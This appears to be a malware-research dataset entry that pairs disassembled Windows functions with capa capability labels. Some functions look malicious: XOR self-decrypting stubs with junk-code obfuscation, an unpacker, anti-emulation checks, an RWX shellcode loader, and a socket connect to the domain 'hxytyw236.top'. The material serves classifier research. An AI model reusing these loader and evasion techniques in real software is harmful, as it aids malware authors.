joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40675e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406782
xor eax, eax
test eax, eax
je 0x406794
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406794
xor ecx, ecx
jmp 0x406797
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406883
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a1724], 0
push esi
jne 0x4068ba
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406894
mov dword [ecx*4 + 0x7a1720], eax
inc ecx
cmp ecx, 0x100
jl 0x40688f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4068eb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a1720]
xor eax, esi
inc ecx
dec edx
jne 0x4068cd
pop edi
not eax
pop esi
ret 0xc
Function at 0x77d832
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
pushfd
push eax
add esp, 4
popfd
xchg ebx, edi
xchg edi, ebx
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push esi
add esp, 4
popfd
test eax, eax
push edx
pop edx
mov esi, esi
je 0x77e4f4
xchg ecx, ecx
pushfd
push eax
add esp, 4
popfd
mov dword [ebp - 0x41c], eax
mov edx, edx
mov eax, eax
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
push edx
push eax
pop eax
pop edx
push edx
push edi
pop edi
pop edx
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pushfd
inc eax
dec eax
popfd
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
push 0x9984b3c2
add esp, 4
popfd
pushfd
xor edi, 0xd1915f
xor edi, 0xd1915f
popfd
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
push ecx
add esp, 4
popfd
mov ecx, ecx
cmp eax, 0x400
xchg esi, esi
xchg esi, esi
jne 0x77e4f4
push ecx
pop ecx
push ecx
pop ecx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
nop
pushfd
push 0xd874b390
add esp, 4
popfd
test eax, eax
mov eax, eax
je 0x77e4f4
mov ecx, ecx
mov dword [ebp - 0x20e], 0x104
xchg edi, edi
lea eax, [ebp - 0x313]
xchg ecx, eax
xchg ecx, eax
lea ebx, [ebp - 0x20e]
xchg esi, esi
pushfd
push ebx
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
inc esi
dec esi
popfd
pushfd
xor edx, 0xb4ce45e1
xor edx, 0xb4ce45e1
popfd
test eax, eax
xchg esi, ecx
xchg ecx, esi
push edx
pop edx

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x698571c6
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1ba47d8a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x16a59f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.FKP1
lea edi, [esi - 0x1272000]
push edi
or ebp, 0xffffffff
jmp 0x16a5a12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a5a19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a5a08
mov eax, 1
add ebx, ebx
jne 0x16a5a2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a5a3c
jne 0x16a5a5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a5a5b
dec eax
add ebx, ebx
jne 0x16a5a48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a5a20
add ebx, ebx
jne 0x16a5a57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x16a5aad
xor ecx, ecx
sub eax, 3
jb 0x16a5a73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a5ae2
sar eax, 1
mov ebp, eax
jmp 0x16a5a7e
add ebx, ebx
jne 0x16a5a7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a5a4c
inc ecx
add ebx, ebx
jne 0x16a5a8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a5a4c
add ebx, ebx
jne 0x16a5a99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a5a8e
jne 0x16a5aaa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a5a8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x16a5acc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a5abe
jmp 0x16a5a0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a5acc
add edi, ecx
jmp 0x16a5a0e
pop esi
mov edi, esi
mov ecx, 0x34f3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a5aea
cmp byte [edi], 0x16
jne 0x16a5aea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x16a5aef
lea edi, [esi + 0x12a2000]
mov eax, dword [edi]
or eax, eax
je 0x16a5b5e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a67a0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a6890]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a5b1c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a6894]
or eax, eax
je 0x16a5b58
mov dword [ebx], eax
add ebx, 4
jmp 0x16a5b39
call dword [esi + 0x12a68a4]
mov ebp, dword [esi + 0x12a6898]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x16a5b92
sub esp, 0xffffff80
jmp 0x46c1ac

Function at 0x414dda
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], ecx
add edx, 0xbf718647
mov eax, 0x47a17dea
add edi, 4
add ebx, 0x3cfa6ec
cmp edi, esi
jne fcn.00414dda
and eax, eax
add ebx, 1
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5e521cc0
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..text_1
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3e2f5a5b
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x19cc74ca
mov byte [esi + eax - 0x6e], dh
cmc
retf 0x1a33
fidivr word [edx - 0x2c71a5e9]
mov edx, 0xd38e5a17
xchg ebx, eax
fisttp qword [ebx + 0x94c9a32]
js 0x4153e1
mov esi, dword [edx]
lcall 0x7df6, 0xf278094c
fld xword [eax - 0x5d338ae0]
je 0x415408
idiv byte [ebp - 0x25]
test al, 0x20
jne 0x4153c2
mov byte [0xc8e0f74], al
arpl word [edx], si
mov cs, word [ebx]
xor dh, byte [ebx]
push edx
xlatb
xor edx, dword [edx - 0x29]
mov ecx, dword [ecx + 0x33c03cf6]
dec edx
fdiv st(3), st(0)
sti
jb 0x4153fd
je 0x4153e8
int3
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408e54
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x589925ce
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x7675673
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4011a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
push 0x4da78
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4011bd
pop esi
pop ebx
pop ecx
ret
push edi
mov ecx, 0x1369e
add esi, 0x4da90
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x4da78
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.CreateThread
push str.KERNEL32.dll
call esi
push eax
call edi
push 0
push 0
push ebx
push ebx
push 0
push 0
call eax
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret

Function at 0x401220
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov eax, dword [0x40416c]
sub esp, 0x64
push esi
push edi
mov edi, ecx
push eax
push 0x404170
lea ecx, [esp + 0x10]
push str._s:_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40127d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40127d
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [0x40416c]
mov ecx, edi
push eax
push str.hxytyw236.top
call fcn.004012a0
pop edi
pop esi
add esp, 0x64
ret

Function at 0x4012a0
Capabilities:
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x4012c3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebp
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov ecx, dword [edi + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x404428]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call ebx
mov ecx, dword [esi + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x401345
push str.ResetEvent
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov edx, dword [esi + 0xc]
push edx
call eax
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4012d0
push 0
push 0
push esi
push 0x401370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x4017d0
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x40272b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
push 0x40432c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ax, word [0x404328]
mov cl, byte [0x40432a]
push 0x9b508
mov word [esp + 0xc], ax
mov byte [esp + 0xe], cl
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x18], 0
je 0x401832
mov ecx, eax
call fcn.00401080
mov esi, eax
jmp 0x401834
xor esi, esi
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.00401220
test eax, eax
je 0x401855
lea edx, [esp + 8]
push 3
push edx
mov ecx, esi
call fcn.00401140
mov eax, dword [esi + 0x4da8c]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x401873
push 0x64
call edi
mov eax, dword [esi + 0x4da8c]
test eax, eax
je 0x401865
push 0xffffffffffffffff
call edi
mov ecx, dword [esp + 0x10]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x12764c0
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 0x48
push 0
push 0x12fda90
call sym.VBoxTray.exe_nocrt_memset
add esp, 0xc
push 0x12fdaa0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x12fda98], eax
test eax, eax
je 0x1276609
push 0x12fda94
push 0
push 0x12fda90
push 0x127a250
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x12fda90], eax
test eax, eax
je 0x1276573
push 0xffffffffffffffff
push dword [0x12fda98]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1276532
pop edi
pop esi
ret
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x1276552
push str.WaitForSingleObject_failed_
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x10
push dword [0x12fda98]
mov esi, 0x80004005
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12fdaa0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop edi
mov eax, esi
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [0x12fde48]
mov esi, eax
test edi, edi
je 0x12765b5
push 0x10
mov ecx, edi
call dword [section..rdata]
call edi
add esp, 4
test eax, eax
je 0x12765b5
push esi
push str.CreateThread_failed__winErr____d_
push str.long___cdecl_VBoxRrInit_void_
push str._Rfn:__M
push 0
push 0x10
push eax
call fcn.012952d0
add esp, 0x1c
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x12765e0
push esi
push str.CreateThread_failed__winErr____d_
push str.long___cdecl_VBoxRrInit_void_
push str._Rfn:__M
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x1c
test esi, esi
jle 0x12765ed
movzx esi, si
or esi, 0x80070000
push dword [0x12fda98]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12fdaa0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop edi
mov eax, esi
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [0x12fde48]
mov esi, eax
test edi, edi
je 0x127664b
push 0x10
mov ecx, edi
call dword [section..rdata]
call edi
add esp, 4
test eax, eax
je 0x127664b
push esi
push str.CreateEvent_failed__winErr____d_
push str.long___cdecl_VBoxRrInit_void_
push str._Rfn:__M
push 0
push 0x10
push eax
call fcn.012952d0
add esp, 0x1c
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x1276676
push esi
push str.CreateEvent_failed__winErr____d_
push str.long___cdecl_VBoxRrInit_void_
push str._Rfn:__M
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x1c
test esi, esi
jle 0x1276683
movzx esi, si
or esi, 0x80070000
push 0x12fdaa0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
pop edi
mov eax, esi
pop esi
ret
Function at 0x127b140
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x12fdaec], 0
je 0x127b2ac
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x127ad20
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [ebp - 8]
test eax, eax
je 0x127b2a1
push edi
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_GetRegionData]
mov edi, eax
test edi, edi
je 0x127b297
push ebx
lea ecx, [edi + 8]
push str.D:_tinderbox_add_7.0_srcVBoxAdditionsWINNTVBoxTrayVBoxSeamless.cpp
push ecx
call fcn.01295560
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x127b296
push esi
lea esi, [ebx + 8]
mov dword [ebx], 0xabcd9001
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.GDI32.dll_GetRegionData]
mov dword [ebp - 4], eax
test eax, eax
je 0x127b284
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x127b1f1
push str.VBoxTray:_New_visible_region:__n
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x10
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x127b237
add esi, 0x28
jmp 0x127b200
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x127b22b
push dword [esi + 4]
push dword [esi]
push dword [esi - 4]
push dword [esi - 8]
push str.VBoxTray:_visible_rect___d__d___d__d__n
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x20
inc edi
add esi, 0x10
cmp edi, dword [ebx + 0x10]
jb 0x127b200
lea esi, [ebx + 8]
cmp byte [ebp + 8], 0
mov eax, dword [0x12fdae8]
mov edi, dword [ebp - 4]
lea ecx, [eax + 8]
jne 0x127b2b0
test eax, eax
je 0x127b2b0
mov eax, dword [ecx + 0xc]
add eax, dword [ecx]
cmp eax, edi
jne 0x127b2b0
push edi
push esi
push ecx
call sym.VBoxTray.exe_nocrt_memcmp
add esp, 0xc
test eax, eax
jne 0x127b2b0
push 0x10
call fcn.01294390
add esp, 4
test eax, eax
je 0x127b284
push str.VBoxTray:_Visible_rectangles_havent_changed__ignore_n
push 0
push 0x10
push eax
call fcn.012952b0
add esp, 0x10
cmp ebx, dword [0x12fdae8]
je 0x127b295
push ebx
call fcn.01295580
add esp, 4
pop esi
pop ebx
push dword [ebp - 8]
call dword [sym.imp.GDI32.dll_DeleteObject]
pop edi
push dword [ebp - 0xc]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov esp, ebp
pop ebp
ret
push edi
push ebx
push 0x12fdaec
call fcn.01275e30
mov eax, dword [0x12fdae8]
add esp, 0xc
test eax, eax
je 0x127b2d1
push eax
call fcn.01295580
add esp, 4
mov dword [0x12fdae8], ebx
jmp 0x127b295
Function at 0x1282230
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x1760002
xor ebx, ebx
call fcn.01294390
mov edi, dword [ebp + 8]
add esp, 4
test eax, eax
je 0x128226c
push edi
push str.hWnd_p_n
push str.int___cdecl_SharedClipboardWinOpen_struct_HWND____
push str._Rfn:__M
push 0x176
push 2
push eax
call fcn.012952b0
add esp, 0x1c
push edi
xor esi, esi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x12822a3
lea esp, [esp]
cmp esi, 0xa
jge 0x12822a8
mov ecx, esi
mov eax, 1
shl eax, cl
push eax
call fcn.01295b90
add esp, 4
inc esi
push edi
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1282280
mov ebx, 1
test esi, esi
jle 0x12822e0
push 0x1760002
call fcn.01294390
add esp, 4
test eax, eax
je 0x12822e0
lea ecx, [esi + 1]
push ecx
push str._d_times_tried_to_open_clipboard_n
push str.int___cdecl_SharedClipboardWinOpen_struct_HWND____
push str._Rfn:__M
push 0x176
push 2
push eax
call fcn.012952b0
add esp, 0x1c
test ebx, ebx
je 0x12822eb
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
call fcn.0128c1e0
mov ebx, dword [0x12fde48]
add esp, 4
mov esi, eax
test ebx, ebx
je 0x1282335
push 0x1760010
mov ecx, ebx
call dword [section..rdata]
call ebx
add esp, 4
test eax, eax
je 0x1282335
push edi
push esi
push str.Failed_to_open_clipboard__rc_Rrc__0x_x__n
push 0x176
push 0x10
push eax
call fcn.012952d0
add esp, 0x18
push 0x1760010
call fcn.01294390
add esp, 4
test eax, eax
je 0x128235d
push edi
push esi
push str.Failed_to_open_clipboard__rc_Rrc__0x_x__n
push 0x176
push 0x10
push eax
call fcn.012952b0
add esp, 0x18
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret